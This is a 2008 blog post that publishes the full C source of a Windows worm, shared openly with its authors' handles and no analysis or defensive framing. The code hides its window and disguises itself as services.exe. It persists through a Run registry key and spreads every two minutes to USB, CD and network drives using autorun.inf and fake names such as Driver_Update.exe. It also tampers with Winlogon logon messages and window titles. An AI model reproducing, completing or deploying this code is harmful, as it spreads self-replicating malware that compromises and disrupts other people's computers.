welcome to netwrkspider

Tuesday, October 28, 2008

Worm, USB & CD-Rom Worm.by netwrkspider

Code:
/**Worm, USB & CD-Rom Worm.by netwrkspider::
** Coded by netwrkspider | http://netwrkspider.homeunix.org
** Start of Main.c */
#include //Libs used
#include // ^^^^^^^
char dropTo[1024],me[1024]; //Defining some vars..
HKEY hKey; //For Startup.
char *drives[] = {"C:","D:","E","F:","G:","H:","I:","J:","K:","L:",
"M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",
"W:","X:","Y:","Z:"}; // All drive letters
DWORD WINAPI spreadUSB() //Gonna use a thread for this!
{
while(1) //Keep going (on a thread)
{
Sleep(120000); //Wait 2 minutes each time
int i;
for(i = 0;i < 24;i++)
{
if((GetDriveType(drives[i])) == DRIVE_REMOVABLE)
{
char usbFile[30] = "\\Driver_Update.exe"; //USB File
char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe"; //The Autorun Contents
FILE *fp = fopen("\\autorun.inf","w");
fprintf(fp,autoRun);fclose(fp);
CopyFile("\\autorun.inf",drives[i],1);
remove("\\autorun.inf");
strcat(drives[i],usbFile);
CopyFile(me,drives[i],1);
}
else if((GetDriveType(drives[i])) == DRIVE_CDROM)
{
char cdFile[20] = "\\Worm_Pwn.exe";
char cdAutr[50] = "[autorun]\r\nopen=Worm_Pwn.exe";
FILE *fpp = fopen("\\autorun.inf","w");
fprintf(fpp,cdAutr);fclose(fpp);
CopyFile("\\autorun.inf",drives[i],1);
remove("\\autorun.inf");
strcat(drives[i],cdFile);
CopyFile(me,drives[i],1);
}
else if((GetDriveType(drives[i])) == DRIVE_REMOTE)
{
char remName[20] = "\\Upd_Config.exe";
strcat(drives[i],remName);
CopyFile(me,drives[i],1);
}
}
}
}
BOOL Startup()
{
GetWindowsDirectory(dropTo,1024); //Get their Windows dir (C:\\WINDOWS\\)
strcat(dropTo,"\\services.exe"); //its not C:\\WINDOWS\\services.exe
if((CopyFile(me,dropTo,1)) == 0) //if it cant copy to there, return an error
return -1; //return the error
else //else add the reg keys....
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Mcft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey) == ERROR_SUCCESS)
{
RegSetValueEx(hKey,"services"/*Key Name - services*/,0,REG_SZ,(const unsigned char*)dropTo,strlen(dropTo));
RegCloseKey(hKey);
}
return 1; //return its successful
}
}
DWORD WINAPI changeTitle(LPVOID lParam) //in a thread
{
while(1)
{
HWND hWnd = GetForegroundWindow(); //get the foreground window (active window)
SetWindowText(hWnd,"|__[__]__/=+-\\ SaveItForLater :] Worm - illuz1oN /-+=\\__[__]__|"); //Change the title to this
}
}
void winLogin(void)
{
HKEY hKey; //registry
char szCaption[] = "|__[__]__/=+-\\ illuz1oN /-+=\\__[__]__|"; //the caption
char szText[] = "|__[__]__/=+-\\ SaveItForLater :] Worm By illuz1oN /-+=\\__[__]__|"; //the text
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"LegalNoticeCaption",0,REG_SZ,(const unsigned char*)szCaption,sizeof(szCaption));
RegCloseKey(hKey);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"LegalNoticeText",0,REG_SZ,(const unsigned char*)szText,sizeof(szText));
RegCloseKey(hKey);
/* At startup, a message box is displayed.... done via register.... */
}
int main() //THIS RUNS FIRST!!!!
{
GetModuleFileName(0,me,1024); //Get our path...place it in char me[1024]
HWND hWnd = FindWindow("ConsoleWindowClass",0); //Get our window
ShowWindow(hWnd,0); //Hide it
CreateMutex(0,0,"-+- illuz1oN -+-"); //Create Mutex
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
ExitProcess(0); //if were already running - exit
}
else //if we arnt running
{
if(!Startup()) //if startup fails
{
unsigned long title; //for thread
CreateThread(0,0,changeTitle,0,0,&title); //start the title thread
winLogin(); //add a message box before login
}
else //if it doesnt
{
unsigned long virii; //for thread
CreateThread(0,0,spreadUSB,0,0,&virii); //Create the thread!!!! (Spreading Ftw!)
}
}
}

No comments: